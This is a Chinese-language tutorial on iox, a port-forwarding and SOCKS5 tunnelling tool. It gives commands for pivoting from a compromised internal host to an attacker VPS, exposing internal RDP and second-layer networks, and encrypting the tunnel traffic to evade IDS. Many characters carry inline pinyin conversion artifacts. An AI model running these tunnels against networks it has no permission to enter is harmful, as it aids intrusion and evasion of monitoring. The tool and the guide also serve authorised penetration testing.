iox是一款類似于lcx/ew的端口轉(zhuǎn)發(fā) & 內(nèi)網(wǎng)代理工具,功能類似于lcx/ew,相當(dāng)于ew的升級(jí)版本了。用過(guò)ew的人都知道,要使用ew 進(jìn)行多層內(nèi)網(wǎng)穿透是比較麻煩的,特別對(duì)于新人來(lái)收沒(méi)有一個(gè)清晰的思路,使用起來(lái)是比較困難的。
總體來(lái)說(shuō),該工具簡(jiǎn)化了ew/lcx 的一些參數(shù),讓使用更加方便。除此之外還提供了流量加密、并發(fā)、UDP流量轉(zhuǎn)發(fā)等功能的優(yōu)化。
流量加密(可選)
友好的命令行參數(shù)
邏輯優(yōu)化
UDP流量轉(zhuǎn)發(fā)
反向代理模式中使用TCP多路復(fù)用
C:\iox_v0.4-next_Windows_x86_64>iox.exeiox v0.4 Access intranet easily (https://github.com/eddieivan01/iox)
Usage: iox fwd/proxy [-l [*][HOST:]PORT] [-r [*]HOST:PORT] [-k HEX] [-t TIMEOUT] [-u] [-h] [-v]
Options: -l [*][HOST:]PORT address to listen on. `*` means encrypted socket -r [*]HOST:PORT remote host to connect, HOST can be IP or Domain. `*` means encrypted socket -k HEX hexadecimal format key, be used to generate Key and IV -u udp forward mode -t TIMEOUT set connection timeout(millisecond), default is 5000 -v enable log output -h print usage then exit C:\iox_v0.4-next_Windows_x86_64>iox.exeiox v0.4 輕松訪問(wèn)內(nèi)網(wǎng)(https://github.com/eddieivan01/iox)
用法:iox fwd/proxy [-l [*][HOST:]PORT] [-r [*]HOST:PORT] [-k HEX] [-t TIMEOUT] [-u] [-h] [-v]
選項(xiàng): -l [*][主機(jī):]端口 收聽地址。 `*` 表示加密套接字 -r [*]主機(jī):端口 連接的遠(yuǎn)程主機(jī),HOST 可以是IP 或Domain。 `*` 表示加密套接字 -k 十六進(jìn)制 十六進(jìn)制格式密鑰,用于生成Key和IV -u UDP轉(zhuǎn)發(fā)模式 -t 超時(shí) 設(shè)置連接超時(shí)時(shí)間(毫秒),默認(rèn)5000 -v 啟用日志輸出 -H 打印使用情況然后退出
端口轉(zhuǎn)發(fā)
監(jiān)聽 0.0.0.0:8888 和0.0.0.0:9999,將兩個(gè)連接間的流量轉(zhuǎn)發(fā)
./iox fwd -l 8888 -l 9999
監(jiān)聽0.0.0.0:8888,把流量轉(zhuǎn)發(fā)到1.1.1.1:9999
./iox fwd -l 8888 -r 1.1.1.1:9999
連接1.1.1.1:8888和1.1.1.1:9999, 在兩個(gè)連接間轉(zhuǎn)發(fā)
./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999
代理穿透
在本地 0.0.0.0:1080啟動(dòng)Socks5服務(wù)
./iox proxy -l 1080
在被控機(jī)開啟Socks5服務(wù),將服務(wù)轉(zhuǎn)發(fā)到公網(wǎng)VPS
在VPS上轉(zhuǎn)發(fā)0.0.0.0:9999到0.0.0.0:1080
你必須將兩條命令成對(duì)使用,因?yàn)樗鼉?nèi)部包含了一個(gè)簡(jiǎn)單的協(xié)議來(lái)控制回連
./iox proxy -r 1.1.1.1:9999
./iox proxy -l 9999 -l 1080 // 注意,這兩個(gè)端口是有順序的
接著連接內(nèi)網(wǎng)主機(jī)
# proxychains.conf
# socks5://1.1.1.1:1080
$ proxychains rdesktop 192.168.0.100:3389
啟用加密
舉個(gè)栗子,我們把內(nèi)網(wǎng)3389端口轉(zhuǎn)發(fā)到VPS
// 被控主機(jī)
./iox fwd -r 192.168.0.100:3389 -r *1.1.1.1:8888 -k 656565
// 我們的VPS
./iox fwd -l *8888 -l 33890 -k 656565
很好理解:被控主機(jī)和VPS:8888之間的流量會(huì)被加密,預(yù)共享的密鑰是'AAA',iox會(huì)用這個(gè)密鑰生成種子密鑰和nonce(正常來(lái)講,不應(yīng)該復(fù)用nonce。但是考慮到iox的加密功能僅僅為了繞過(guò)IDS等設(shè)備,為了不額外分配空間,TCP流加密會(huì)復(fù)用nonce),并用Xchacha20流加密 (在v0.3版本中用Xchacha20替換掉了AES-CTR)
所以,*應(yīng)該成對(duì)使用
./iox fwd -l 1000 -r *127.0.0.1:1001 -k 000102
./iox fwd -l *1001 -r *127.0.0.1:1002 -k 000102
./iox fwd -l *1002 -r *127.0.0.1:1003 -k 000102
./iox proxy -l *1003 -k 000102
$ curl google.com -x socks5://127.0.0.1:1000
你也可以把iox當(dāng)做一個(gè)簡(jiǎn)單的ShadowSocks來(lái)用:
// ssserver
./iox proxy -l *9999 -k 000102
// sslocal
./iox fwd -l 1080 -r *VPS:9999 -k 000102
UDP轉(zhuǎn)發(fā)
只需要添加命令行參數(shù):-u
./iox fwd -l 53 -r *127.0.0.1:8888 -k 000102 -u
./iox fwd -l *8888 -l *9999 -k 000102 -u
./iox fwd -r *127.0.0.1:9999 -r 8.8.8.8:53 -k 000102 -u
注意:當(dāng)你做多級(jí)連接的轉(zhuǎn)發(fā)時(shí),Remote2Remote-UDP-mode必須最后一個(gè)被啟動(dòng),也就是上面示例中的第三條
UDP轉(zhuǎn)發(fā)可能會(huì)有一些不合你預(yù)期的行為。實(shí)際上,目前在GitHub上只有將本地監(jiān)聽的UDP流量轉(zhuǎn)發(fā)到遠(yuǎn)程主機(jī)的例子,所以我只能以我的理解來(lái)實(shí)現(xiàn)。
使用實(shí)例
端口轉(zhuǎn)發(fā)
將內(nèi)網(wǎng)3389服務(wù)轉(zhuǎn)發(fā)到vps的33899端口上
1、內(nèi)網(wǎng)映射主機(jī),內(nèi)網(wǎng)目標(biāo)機(jī)器的3389轉(zhuǎn)發(fā)到vps的9999端口,并將流量轉(zhuǎn)到vps的33899端口上
iox.exe fwd -r 172.23.119.159:3389 -r vps:9999

2、vps 監(jiān)聽9999端口和33899端口

3、測(cè)試連接是否轉(zhuǎn)發(fā)成功
使用vps加33899端口成功連接到內(nèi)網(wǎng)映射主機(jī)
?
加密傳輸
我們?cè)谏厦娴幕旧?,把流量進(jìn)行加密傳輸。這里需要在-r和-l參數(shù)后目標(biāo)地址前加一個(gè)*來(lái)表示加密。
1、內(nèi)網(wǎng)映射主機(jī)
iox.exe fwd -r 172.23.119.159:3389 -r *vps:9999 -k 898989

2、VPS
iox.exe fwd -l *9999 -l 33899 -k 898989

3、連接測(cè)試
我們?cè)趘ps上連接本地的33899端口,即可成功連接到內(nèi)網(wǎng)映射主機(jī)的3389服務(wù)。

代理穿透—Socks5反向隧道

1、VPS 使用iox 監(jiān)聽9999端口和1080端口,第一個(gè)端口用來(lái)接受邊界主機(jī)流量,第二個(gè)端口則是將流量轉(zhuǎn)發(fā)給本地1080。
iox.exe proxy -l 9999 -l 1080

2、邊界主機(jī)連接VPS,將流量轉(zhuǎn)發(fā)給VPS的端口
iox.exe proxy -r ip:9999

3、kali 配置socks5客戶端進(jìn)行測(cè)試,成功訪問(wèn)到第二層網(wǎng)絡(luò)主機(jī)

可以看到客戶端將請(qǐng)求給vps 的1080端口,然后通過(guò)socks5隧道轉(zhuǎn)發(fā)給內(nèi)網(wǎng)第二層網(wǎng)絡(luò)。

代理穿透—Socks5正向隧道
使用iox 搭建正向隧道比較簡(jiǎn)單,直接在WEB 邊界機(jī)器執(zhí)行proxy + 端口即可。

1、web 端執(zhí)行如下命令,開啟socks5正向代理
iox.exe proxy -l 9000

2、攻擊機(jī)器配置socks5 代理,成功訪問(wèn)的第二層網(wǎng)絡(luò)。

閱讀原文:原文鏈接
該文章在 2025/10/9 13:11:55 編輯過(guò)